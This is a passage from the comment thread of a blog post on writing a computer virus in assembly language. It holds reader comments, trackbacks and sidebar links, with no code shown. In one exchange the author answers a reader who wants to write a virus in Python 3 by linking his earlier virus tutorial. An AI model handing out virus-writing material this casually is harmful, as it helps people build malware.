[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5610#respond)

* + 

[**cranklin**](https://cranklin.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5612)

replication is the heart of any virus. This particular example doesn’t apply any type of bomb or other action.

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5612#respond)

* + - 

**Jomato\_moro**[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5616)

Yes, but replication for what purpose?

* + - 

**Jomato\_moro**[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5674)

Yes, bbut replication for what purpose.?

1. 

**unixbhaskar**[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5613)

Fantastic write-up! learned a lot.

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5613#respond)

* + 

[**cranklin**](https://cranklin.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5614)

Thank you!

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5614#respond)

* + 

[**chudoku123**](http://chudoku123.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5780)

Thank you. I’ll write one more soon.

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5780#respond)

1. 

[**vulneraman**](http://vulnerablelife.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5617)

Reblogged this on [vulnerablelife](https://vulnerablelife.wordpress.com/2016/12/29/how-to-create-a-virus-using-the-assembly-language/).

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5617#respond)

1. 

[**happyluke sport**](https://happylukesport.wordpress.com/happyluke-%E0%B9%82%E0%B8%9B%E0%B8%A3%E0%B9%82%E0%B8%A1%E0%B8%8A%E0%B8%B1%E0%B9%88%E0%B8%99/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5620)

Admiring the time and effort you put into your blog and detailed information you offer.
It’s nice to come across a blog every once in a while that isn’t the same old rehashed
information. Great read! I’ve saved your site and I’m adding your RSS feeds to my
Google account.

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5620#respond)

1. 

**thegodfather123**[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5624)

hello, i just want to ask you if i can creat a virus with python 3 if yes can you send me some PDFs to learn about it PLZ.
And thanks.

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5624#respond)

* + 

[**cranklin**](https://cranklin.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5662)

Hi. I previously made a post where I demonstrated a Python virus, but it wasn’t python 3. I’m sure with little effort you can convert it to Python 3.
<https://cranklin.wordpress.com/2012/05/10/how-to-make-a-simple-computer-virus-with-python/>

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5662#respond)

1. 

[**ZhenyuanHuang**](https://weiyiling.cn/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5660)

Hello man, happy new year! I am glad to see you to share the good technology, I spent some time to get your article translated into Chinese, that will finish today, hope to have more people to see this wonderful article!Thanks.

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5660#respond)

* + 

[**cranklin**](https://cranklin.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5661)

Thank you! I’d love to see the translated article. Happy new year to you too!

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5661#respond)

* + - 

[**ZhenyuanHuang**](https://weiyiling.cn/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5667)

Hello, thank you so much for you to say so. I have already finished the translation of the article, preparing to post the share, later I will send the post link to you, thanks again!

* + - 

[**ZhenyuanHuang**](https://weiyiling.cn/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5675)

Hi, you can see the link at <http://bobao.360.cn/learning/detail/3371.html>now, great!

* + 

[**cranklin**](https://cranklin.wordpress.com/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5677)

wow, this is great! Thank you! I am going to forward this to my Chinese friends!

[Reply](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/?replytocom=5677#respond)

* + - 

[**ZhenyuanHuang**](https://weiyiling.cn/)[**permalink**](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/#comment-5680)

My pleasure！

### Trackbacks & Pingbacks

1. [You can write viruses for any OS – Yusuf's Blog Supplemental](http://yusuf.kaka.co.za/?p=191595)
2. [【知识】12月27日 - 每日安全知识热点 - 莹莹之色](http://hack.hk.cn/2016/12/30/%E3%80%90%E7%9F%A5%E8%AF%86%E3%80%9112%E6%9C%8827%E6%97%A5-%E6%AF%8F%E6%97%A5%E5%AE%89%E5%85%A8%E7%9F%A5%E8%AF%86%E7%83%AD%E7%82%B9/)
3. [Les liens de la semaine – Édition #214 | French Coding](http://frenchcoding.com/2017/01/02/les-liens-de-la-semaine-edition-214/)
4. [How to Create a Virus Using the Assembly Language — cranklin.com – Afiuw Zumala](https://afiuw.wordpress.com/2017/01/05/how-to-create-a-virus-using-the-assembly-language-cranklin-com/)

### Leave a Reply

窗体顶端



窗体底端

[Taking a Crack at Asymmetric Cryptosystems Part 1 (RSA)](https://cranklin.wordpress.com/2016/11/28/taking-a-crack-at-asymmetric-cryptosystems-part-1-rsa/) »

## Recent Posts

* + [How to Create a Virus Using the Assembly Language](https://cranklin.wordpress.com/2016/12/26/how-to-create-a-virus-using-the-assembly-language/)
	+ [Taking a Crack at Asymmetric Cryptosystems Part 1 (RSA)](https://cranklin.wordpress.com/2016/11/28/taking-a-crack-at-asymmetric-cryptosystems-part-1-rsa/)
	+ [Testing The Right Way](https://cranklin.wordpress.com/2016/08/09/testing-the-right-way/)
	+ [Why We Code](https://cranklin.wordpress.com/2016/07/19/why-we-code/)
	+ [Artificial Intelligence Applied to Your Drone](https://cranklin.wordpress.com/2014/11/14/artificial-intelligence-applied-to-your-drone/)
	+ [The Math and Physics Behind Sporting Clays](https://cranklin.wordpress.com/2014/09/07/the-math-and-physics-behind-sporting-clays/)
	+ [My Fishy Story](https://cranklin.wordpress.com/2013/07/13/my-fishy-story/)
	+ [Bots Rule The World](https://cranklin.wordpress.com/2013/06/19/bots-rule-the-world/)
	+ [Why Your Website Is Insecure – Cryptosystem Basics](https://cranklin.wordpress.com/2013/05/23/why-your-website-is-insecure-cryptosystem-basics/)
	+ [Engineers, Stay Agile](https://cranklin.wordpress.com/2013/04/04/engineers-stay-agile/)

## Categories

* + [Hacks](https://cranklin.wordpress.com/category/hacks-2/)
	+ [Other](https://cranklin.wordpress.com/category/other/)
	+ [Politics](https://cranklin.wordpress.com/category/politics-2/)

## Archives

* + [December 2016](https://cranklin.wordpress.com/2016/12/)
	+ [November 2016](https://cranklin.wordpress.com/2016/11/)
	+ [August 2016](https://cranklin.wordpress.com/2016/08/)
	+ [July 2016](https://cranklin.wordpress.com/2016/07/)
	+ [November 2014](https://cranklin.wordpress.com/2014/11/)
	+ [September 2014](https://cranklin.wordpress.com/2014/09/)
	+ [July 2013](https://cranklin.wordpress.com/2013/07/)
	+ [June 2013](https://cranklin.wordpress.com/2013/06/)
	+ [May 2013](https://cranklin.wordpress.com/2013/05/)
	+ [April 2013](https://cranklin.wordpress.com/2013/04/)
	+ [March 2013](https://cranklin.wordpress.com/2013/03/)
	+ [January 2013](https://cranklin.wordpress.com/2013/01/)
	+ [November 2012](https://cranklin.wordpress.com/2012/11/)
	+ [September 2012](https://cranklin.wordpress.com/2012/09/)
	+ [August 2012](https://cranklin.wordpress.com/2012/08/)
	+ [July 2012](https://cranklin.wordpress.com/2012/07/)
	+ [June 2012](https://cranklin.wordpress.com/2012/06/)
	+ [May 2012](https://cranklin.wordpress.com/2012/05/)
	+ [April 2012](https://cranklin.wordpress.com/2012/04/)
	+ [March 2012](https://cranklin.wordpress.com/2012/03/)
	+ [February 2012](https://cranklin.wordpress.com/2012/02/)
	+ [January 2012](https://cranklin.wordpress.com/2012/01/)
	+ [December 2011](https://cranklin.wordpress.com/2011/12/)
	+ [November 2011](https://cranklin.wordpress.com/2011/11/)
	+ [October 2011](https://cranklin.wordpress.com/2011/10/)
	+ [September 2011](https://cranklin.wordpress.com/2011/09/)
	+ [June 2011](https://cranklin.wordpress.com/2011/06/)
	+ [May 2011](https://cranklin.wordpress.com/2011/05/)
	+ [April 2011](https://cranklin.wordpress.com/2011/04/)
	+ [February 2011](https://cranklin.wordpress.com/2011/02/)
	+ [December 2010](https://cranklin.wordpress.com/2010/12/)
	+ [October 2008](https://cranklin.wordpress.com/2008/10/)
	+ [September 2008](https://cranklin.wordpress.com/2008/09/)
	+ [August 2008](https://cranklin.wordpress.com/2008/08/)

[Create a free website or blog at WordPress.com.](https://wordpress.com/?ref=footer_website)